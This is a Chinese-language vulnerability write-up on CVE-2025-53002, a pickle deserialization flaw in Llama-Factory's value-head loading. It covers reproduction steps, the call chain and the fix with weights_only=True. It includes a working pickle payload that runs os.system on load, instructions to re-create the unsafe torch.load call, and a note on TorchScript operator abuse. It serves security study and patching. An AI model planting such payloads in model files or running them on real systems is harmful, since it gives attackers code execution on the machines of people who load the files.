Llama-Factory 代码执行漏洞详细分析
字数 1905 2025-09-23 19:27:38
🚨 1. 漏洞概述
- 漏洞编号:CVE-2025-53002
- 影响组件:Llama-Factory(<= v0.9.3)
- 漏洞类型:代码执行(反序列化漏洞)
- 触发条件:
- 使用 Torch < 2.6 版本(默认
weights_only=False) - 通过 WebUI 设置恶意 Checkpoint 路径
- 使用 Torch < 2.6 版本(默认
- 根本原因:
torch.load()未设置weights_only=True,导致恶意 Pickle 反序列化执行代码。
📦 2. 环境搭建(复现环境)
2.1 依赖环境
git clone --depth 1 https://github.com/hiyouga/LLaMA-Factory.git
cd LLaMA-Factory
conda create -n llama-factory python=3.10
conda activate llama-factory
pip install -e ".[torch,metrics]"
2.2 安装 PyTorch
根据 CUDA 版本从 PyTorch 官网选择对应命令安装(需 < 2.6)。
2.3 验证环境
import torch
print("Torch version:", torch.__version__)
print("Is CUDA available:", torch.cuda.is_available())
2.4 模拟漏洞环境
修改文件:src/llamafactory/model/model_utils/valuehead.py
将 torch.load(vhead_file, map_location="cpu") 改为:
torch.load(vhead_file, map_location="cpu", weights_only=False) # 模拟漏洞
⚡ 3. 漏洞复现步骤
3.1 准备恶意模型
- 下载合法模型(如 tiny-random-Llama-3)到本地。
- 生成恶意
value_head.bin文件(替换原文件):
import torch
import pickle
import os
class Exploit:
def __reduce__(self):
return os.system, ("calc",) # Windows 弹计算器
payload = pickle.dumps(Exploit())
with open("value_head.bin", "wb") as f:
f.write(payload)
3.2 配置 WebUI
- 启动 WebUI:
llamafactory-cli webui
- 配置训练任务:
- Model Name: 选择或输入本地模型路径
- Checkpoint Path: 指向包含恶意
value_head.bin的目录 - Stage: 选择
Reward Modeling - Dataset: 任意数据集(如
example)
- 点击 Start,触发代码执行(如弹出计算器)。
🔍 4. 漏洞分析
4.1 调用链梳理
WebUI 输入 Checkpoint Path
→ model_args.adapter_name_or_path[-1]
→ cached_file(filename="value_head.bin", path_or_repo_id=checkpoint_path)
→ load_valuehead_params(vhead_file=malicious_file)
→ torch.load(vhead_file, weights_only=False) // 触发反序列化
4.2 关键代码位置
- 漏洞函数:
src/llamafactory/model/model_utils/valuehead.py→load_valuehead_params() - 调用入口:
src/llamafactory/model/loader.py→load_model() - 触发条件:Stage 为
Reward Modeling(调用run_rm())
4.3 为什么是 Reward Modeling?
- 只有该阶段会加载 valuehead 模型并调用
load_valuehead_params()。
🛠️ 5. 漏洞修复方案
5.1 官方修复
在 torch.load() 中显式添加 weights_only=True:
torch.load(vhead_file, map_location="cpu", weights_only=True)
5.2 用户建议
- 升级 Llama-Factory 至 v0.9.3+
- 确保 Torch ≥ 2.6(默认
weights_only=True)
🔥 6. 漏洞扩展:Bypass weights_only=True?
6.1 TorchScript 加载机制
即使设置 weights_only=True,仍可通过 torch.jit.load() 加载 TorchScript 模型(.pt 文件),其支持调用运算符(如 aten::save)实现文件写入/RCE。
6.2 利用条件(已修复)
- 需绕过
model.load_state_dict()的字典类型检查(最新版已修复)。 - 需编译 TorchScript 模型并重写
forward方法调用恶意运算符。
6.3 最新版本防护
- Torch 2.6+ 默认启用
weights_only=True - Llama-Factory 显式启用安全参数
- TorchScript 恶意模型加载已被限制
✅ 7. 总结
| 项目 | 说明 |
|---|---|
| 漏洞类型 | 代码执行(反序列化) |
| 影响版本 | Llama-Factory ≤ v0.9.3 + Torch < 2.6 |
| 触发方式 | 恶意 Checkpoint 路径 + Reward Modeling 阶段 |
| 修复方案 | 添加 weights_only=True + 升级 Torch |
| 扩展风险 | TorchScript 运算符滥用(已修复) |
📚 参考资料
- Llama-Factory GitHub Advisory
- Torch weights_only 机制
- Black Hat USA 2025: Safe Harbor or Hostile Waters
如果有新的复现需求或技术细节探讨,可以进一步提供环境配置或漏洞利用样本。